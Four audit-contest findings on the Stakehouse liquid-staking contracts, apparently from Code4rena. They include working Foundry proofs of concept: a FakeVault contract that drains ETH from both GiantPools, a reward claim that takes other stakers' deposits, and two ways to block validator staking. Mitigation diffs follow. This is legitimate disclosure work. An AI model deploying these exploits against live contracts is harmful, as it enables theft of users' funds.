LSD Network - Stakehouse contest - immeas's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantSavETHVaultPool.sol#L50 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L44

Vulnerability details

Impact

An attacker can create a contract that behaves like a vault. Using this an attacker can steal all eth in both GiantPools.

Proof of Concept

The attack works because there is no validation that the actual vault belongs to the manager, here's the code from GiantSavETHVaultPool.sol, the code looks very similar in GiantMevAndFeesPool.sol:

29:    function batchDepositETHForStaking(
30:        address[] calldata _savETHVaults,
31:        uint256[] calldata _ETHTransactionAmounts,
32:        bytes[][] calldata _blsPublicKeys,
33:        uint256[][] calldata _stakeAmounts
34:    ) public {
        ...
        
41:        // For every vault specified, supply ETH for at least 1 BLS public key of a LSDN validator
42:        for (uint256 i; i < numOfSavETHVaults; ++i) {
43:            uint256 transactionAmount = _ETHTransactionAmounts[i];
44:
45:            // As ETH is being deployed to a savETH pool vault, it is no longer idle
46:            idleETH -= transactionAmount;
47:
48:            SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
49:            require(
50:                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
51:                "Invalid liquid staking manager"
52:            );
53:
54:            // Deposit ETH for staking of BLS key
55:            savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
56:                _blsPublicKeys[i],
57:                _stakeAmounts[i]
58:            );
59:        }
60:    }

This piece of code only checks that the return from the vault is the manager contract:

49:            require(
50:                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
51:                "Invalid liquid staking manager"
52:            );

If an attacker deploys a fake vault that responds with an address of a staking manager deployed by the LSDNFactory it will be accepted as a vault. Then the attacker can transfer any eth available in the pool to the fake contract.

PoC using forge:

FakeVault.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

contract FakeVault {

    address public liquidStakingManager;
    address public liquidStakingNetworkManager;

    constructor(address _lsm) {
        liquidStakingManager = _lsm;
        liquidStakingNetworkManager = _lsm;
    }

    function batchDepositETHForStaking(bytes[] calldata , uint256[] calldata ) public payable {
        // takes your eth
    }
}

PoC forge test in GiantPools.t.sol:

    function testFakeVaultCanStealEthFromGiantPools() public {
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        address attacker = address(0x1234);

        // normal users deposit ETH into pools
        vm.prank(savETHUser);
        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
        vm.prank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);

        // deploy attacking contract
        vm.startPrank(attacker); // make sure we are not a priviliged user of any kind
        FakeVault fakeVault = new FakeVault(address(manager));

        // not needed
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);

        console.log("balance eth pool before",address(giantSavETHPool).balance); // 24 eth
        console.log("balance mev pool before",address(giantFeesAndMevPool).balance); // 4 eth
        console.log("balance attacker before",address(fakeVault).balance); // 0

        // steal from ETH pool
        giantSavETHPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(fakeVault)),
            getUint256ArrayFromValues(24 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );

        // steal from Fees and MEV pool
        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(fakeVault)),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );

        // ETH stolen
        console.log("balance eth pool after ",address(giantSavETHPool).balance); // 0
        console.log("balance mev pool after ",address(giantFeesAndMevPool).balance); // 0
        console.log("balance attacker after ",address(fakeVault).balance); // 28 (24 + 4) eth
    }

Tools Used

vscode, forge

Recommended Mitigation Steps

Also check that the vault belongs to the manager. Thus a fake vault cannot pose as a vault of that manager.

Pseudo diff, not including the changes in interfaces and LiquidStakingManager

diff --git a/contracts/liquid-staking/GiantSavETHVaultPool.sol b/contracts/liquid-staking/GiantSavETHVaultPool.sol
index 4edbd43..a11398f 100644
--- a/contracts/liquid-staking/GiantSavETHVaultPool.sol
+++ b/contracts/liquid-staking/GiantSavETHVaultPool.sol
@@ -8,6 +8,7 @@ import { SavETHVault } from "./SavETHVault.sol";
 import { LPToken } from "./LPToken.sol";
 import { GiantPoolBase } from "./GiantPoolBase.sol";
 import { LSDNFactory } from "./LSDNFactory.sol";
+import { LiquidStakingManager } from "./LiquidStakingManager.sol";
 
 /// @notice A giant pool that can provide protected deposit liquidity to any liquid staking network
 contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
@@ -51,6 +52,11 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
                 "Invalid liquid staking manager"
             );
 
+            require(
+                address(savETHPool.liquidStakingManager().savETHPool()) == address(savETHPool),
+                "Invalid pool"
+            );
+
             // Deposit ETH for staking of BLS key
             savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
                 _blsPublicKeys[i],

Then both ways are validated. The manager is deployed by the LSDNFactory and that the pool belongs to that manager.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76-L90

Vulnerability details

Impact

The first stakers in a StakingFundsVault can intentionally or unintentionally take ethfrom other stakers. If they claim rewards while eth is in the contract but yet not used to stake towards a validator that eth can be counted as rewards.

Proof of Concept

The issue comes from that the StakingFundsVault doesn't track eth sent by early stakers. totalEthSeen is only tracked after derivatives are first minted:

liquid-staking/StakingFundsVault.sol

55:    /// @notice Allows the liquid staking manager to notify funds vault about new derivatives minted to enable MEV claiming
56:    function updateDerivativesMinted() external onlyManager {
57:        // We know 4 ETH for the KNOT came from this vault so increase the shares to get a % of vault rewards
58:        totalShares += 4 ether;
59:    }
60:
61:    /// @notice For knots that have minted derivatives, update accumulated ETH per LP
62:    function updateAccumulatedETHPerLP() public {
63:        _updateAccumulatedETHPerLP(totalShares);
64:    }

liquid-staking/SyndicateRewardsProcessor.sol:

75:    /// @dev Internal logic for tracking accumulated ETH per share
76:    function _updateAccumulatedETHPerLP(uint256 _numOfShares) internal {
77:        if (_numOfShares > 0) {
78:            uint256 received = totalRewardsReceived();
79:            uint256 unprocessed = received - totalETHSeen;
80:
81:            if (unprocessed > 0) {
82:                emit ETHReceived(unprocessed);
83:
84:                // accumulated ETH per minted share is scaled to avoid precision loss. it is scaled down later
85:                accumulatedETHPerLPShare += (unprocessed * PRECISION) / _numOfShares;
86:
87:                totalETHSeen = received;
88:            }
89:        }
90:    }

Hence, early stakers eth is not tracked which makes totalEthSeen off by the amount of eth sent before first derivatives are minted.

PoC test in StakingFundsVault.t.sol:

    function testRewardsReceiverCanStealOtherStakersEth() public {
        bytes memory anotherKey = fromHex("3aBdcff61a34eb6a034e343f20732456443a2ed6668ede04677adc1e15d2a24500a3e05cf7ad3dc3b2f3cc13fdc12fff");
        // register BLS key with the network
        registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);
        registerSingleBLSPubKey(accountTwo, anotherKey, accountFive);

        // Do a deposit of 4 ETH for bls pub key four in the fees and mev pool
        maxETHDeposit(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));

        // Do a deposit of 24 ETH for savETH pool
        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);
        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(anotherKey, 24 ether);

        stakeAndMintDerivativesSingleKey(blsPubKeyFour);

        LPToken lpTokenBLSPubKeyFour = vault.lpTokenForKnot(blsPubKeyFour);

        vm.warp(block.timestamp + 3 hours);

        vm.deal(accountFour, 4 ether);
        vm.prank(accountFour);
        vault.depositETHForStaking{value: 4 ether}(anotherKey, 4 ether); // another staker is looking to stake against another key, depositing eth into the vault
        
        assertEq(address(vault).balance, 4 ether);
        
        // Deal ETH to the staking funds vault
        uint256 rewardsAmount = 1.2 ether;
        vm.deal(address(vault), rewardsAmount + 4 ether); // add the 4 ether from before and rewards
        assertEq(address(vault).balance, rewardsAmount + 4 ether); // vault balance 1.2 + 4 = 5.2 eth
        vm.prank(accountTwo);
        vault.claimRewards(accountThree, getBytesArrayFromBytes(blsPubKeyFour)); // rewards are claimed, counting the staked 4 eth as rewards
        
        LPToken token = vault.lpTokenForKnot(anotherKey);

        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), 0);
        assertEq(address(vault).balance, 0); // all eth gone from contract, should be 4 ethes
        assertEq(accountThree.balance, rewardsAmount + 4 ether); // previous staker got it all
        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), rewardsAmount + 4 ether);
        assertEq(vault.claimed(accountThree, address(lpTokenBLSPubKeyFour)), 0);

        assertEq(vault.lpTokenForKnot(anotherKey).totalSupply(),4 ether); // lpTokens have been minted
 
        stakeSingleBlsPubKey(anotherKey); // fails, no eth to withdraw there
    }

Tools Used

vscode, forge

Recommended Mitigation Steps

Either keep track of eth sent to the contract from the beginning or add a separate tracker for eth deposited as staking not rewards.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/ETHPoolLPFactory.sol#L83

Vulnerability details

Impact

By rotating more than max eth into StakingFundsVault a malicious user can block the validator staking for that public key from happening

The malicious user can withdraw this at any time (when they are cold > 30 min) as well, so they only commit the eth for as long as they want.

This doesn't necessarily need to be a malicious user, could happen by mistake. However then the user could simply withdraw the eth mistakenly rotated.

Proof of Concept

ETHPoolLPFactory is shared between both StakingFundsVault and SavETHVault, however the max tokens you can rotate uses the hard coded max 24 eth from SavETHVault which allows you to mint more StakingFundsVault-LPTokens than intended:

liquid-staking/ETHPoolLPFactory.sol

76:    function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public {
            ...
83:        require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

The key cannot be used to start validator staking due a check for exactly 4 eth in liquid-staking/LiquidStakingManager.sol:

934:    function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
            ...
942:        LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
943:        require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
944:        require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

PoC forge test in LiquidStakingManager.t.sol:

    function testRotateMoreTokensThanIntended() public {
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountTwo);
        registerSingleBLSPubKey(nodeRunner, blsPubKeyTwo, accountTwo);
        registerSingleBLSPubKey(nodeRunner, blsPubKeyThree, accountTwo);

        depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether);

        address attacker = accountTwo; vm.deal(attacker, 12 ether);
        
        // attacker deposits into different keys
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyOne, 4 ether);
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyTwo, 4 ether);
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyThree, 4 ether);

        LPToken token1 = stakingFundsVault.lpTokenForKnot(blsPubKeyOne);
        LPToken token2 = stakingFundsVault.lpTokenForKnot(blsPubKeyTwo);
        LPToken token3 = stakingFundsVault.lpTokenForKnot(blsPubKeyThree);

        console.log("before");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("token2 balance",token2.balanceOf(attacker));
        console.log("token3 balance",token3.balanceOf(attacker));
        
        vm.warp(block.timestamp + 1 hours);

        // rotates above max for StakingFundsVault
        vm.startPrank(attacker);
        stakingFundsVault.rotateLPTokens(token2, token1, 4 ether); // can rotate up to 24 eth into stakingFundsVault
        stakingFundsVault.rotateLPTokens(token3, token1, 0.001 ether); // make sure another user cannot withdraw their 4 eth to start the staking

        console.log("after rotate");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("token2 balance",token2.balanceOf(attacker));
        console.log("token3 balance",token3.balanceOf(attacker));

        vm.expectRevert("DAO staking funds vault balance must be at least 4 ether");
        stakeSingleBlsPubKey(blsPubKeyOne); // cant start validator staking since the amount is wrong

        vm.warp(block.timestamp + 1 hours);

        stakingFundsVault.burnLPForETH(token1,token1.balanceOf(attacker)); // attacker can get them back at any time

        console.log("after burn");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("attacker eth  ",attacker.balance);
    }

Tools Used

vscode, forge

Recommended Mitigation Steps

Use maxStakingAmountPerValidator instead of 24 eth:

diff --git a/contracts/liquid-staking/ETHPoolLPFactory.sol b/contracts/liquid-staking/ETHPoolLPFactory.sol
index caa0cf8..64a46a8 100644
--- a/contracts/liquid-staking/ETHPoolLPFactory.sol
+++ b/contracts/liquid-staking/ETHPoolLPFactory.sol
@@ -80,7 +80,7 @@ abstract contract ETHPoolLPFactory is StakehouseAPI {
         require(_amount >= MIN_STAKING_AMOUNT, "Amount cannot be zero");
         require(_amount <= _oldLPToken.balanceOf(msg.sender), "Not enough balance");
         require(_oldLPToken.lastInteractedTimestamp(msg.sender) + 30 minutes < block.timestamp, "Liquidity is still fresh");
-        require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");
+        require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");
 
         bytes memory blsPublicKeyOfPreviousKnot = KnotAssociatedWithLPToken[_oldLPToken];
         bytes memory blsPublicKeyOfNewKnot = KnotAssociatedWithLPToken[_newLPToken];

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/ETHPoolLPFactory.sol#L111 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/ETHPoolLPFactory.sol#L122 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/ETHPoolLPFactory.sol#L130 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/LiquidStakingManager.sol#L938-L944

Vulnerability details

Impact

If you stake between MAX > amount > MAX - 0.001 eth for a pool you cannot add stake, or start the staking. This blocks the key from that node runner from being used.

Proof of Concept

liquid-staking/ETHPoolLPFactory.sol requires the deposit to be above min but not more than max (4 eth or 24 eth depending on pool):

110:    function _depositETHForStaking(bytes calldata _blsPublicKeyOfKnot, uint256 _amount, bool _enableTransferHook) internal {
111:        require(_amount >= MIN_STAKING_AMOUNT, "Min amount not reached"); // <-- must be above min
112:        require(_blsPublicKeyOfKnot.length == 48, "Invalid BLS public key");
            ...
117:        if(address(lpToken) != address(0)) {
                ...
121:            // total supply after minting the LP token must not exceed maximum staking amount per validator
122:            require(lpToken.totalSupply() + _amount <= maxStakingAmountPerValidator, "Amount exceeds the staking limit for the validator"); // <-- and below max
                ...
127:        }
128:        else {
129:            // check that amount doesn't exceed max staking amount per validator
130:            require(_amount <= maxStakingAmountPerValidator, "Amount exceeds the staking limit for the validator"); // <-- and below max
131:            
                ...
153:        }
154:    }

And in liquid-staking/LiquidStakingManager.sol you cannot start with less than the maximum amounts:

934:    function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
            ...
938:        LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
939:        require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
940:        require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");
941:
942:        LPToken savETHVaultLP = savETHVault.lpTokenForKnot(blsPubKey);
943:        require(address(savETHVaultLP) != address(0), "No funds staked in savETH vault");
944:        require(savETHVaultLP.totalSupply() == 24 ether, "KNOT must have 24 ETH in savETH vault");
945:    }

PoC forge test in LiquidStakingManager.t.sol:

    function testDepositJustUnderMaxBlocksPublicKey() public {
        address nodeRunner = accountOne; vm.deal(nodeRunner, 4 ether);
        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether + 1);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountThree);
        depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether);

        uint256 min = 0.001 ether;
        uint256 stakeAmount = 4 ether - min + 1; // anything between max and max - min
        
        vm.startPrank(feesAndMevUser);
        stakingFundsVault.depositETHForStaking{value: stakeAmount}(blsPubKeyOne, stakeAmount);

        vm.expectRevert("Min amount not reached");
        stakingFundsVault.depositETHForStaking{value: min - 1}(blsPubKeyOne, min - 1); // can't stake up to 4 (or 24)
        
        vm.expectRevert("Amount exceeds the staking limit for the validator");
        stakingFundsVault.depositETHForStaking{value: min}(blsPubKeyOne, min); // can't stake above max 4 (or 24)
        
        vm.expectRevert("DAO staking funds vault balance must be at least 4 ether");
        stakeSingleBlsPubKey(blsPubKeyOne); // can't start staking since the amount is not reached
    }

Tools Used

vscode

Recommended Mitigation Steps

Either allow overpay of stake and then you can withdraw unused or unused gets refunded back to the depositor. Another alternative is to only restrict min deposits when the pool is empty, allowing smaller deposits to top off the pool.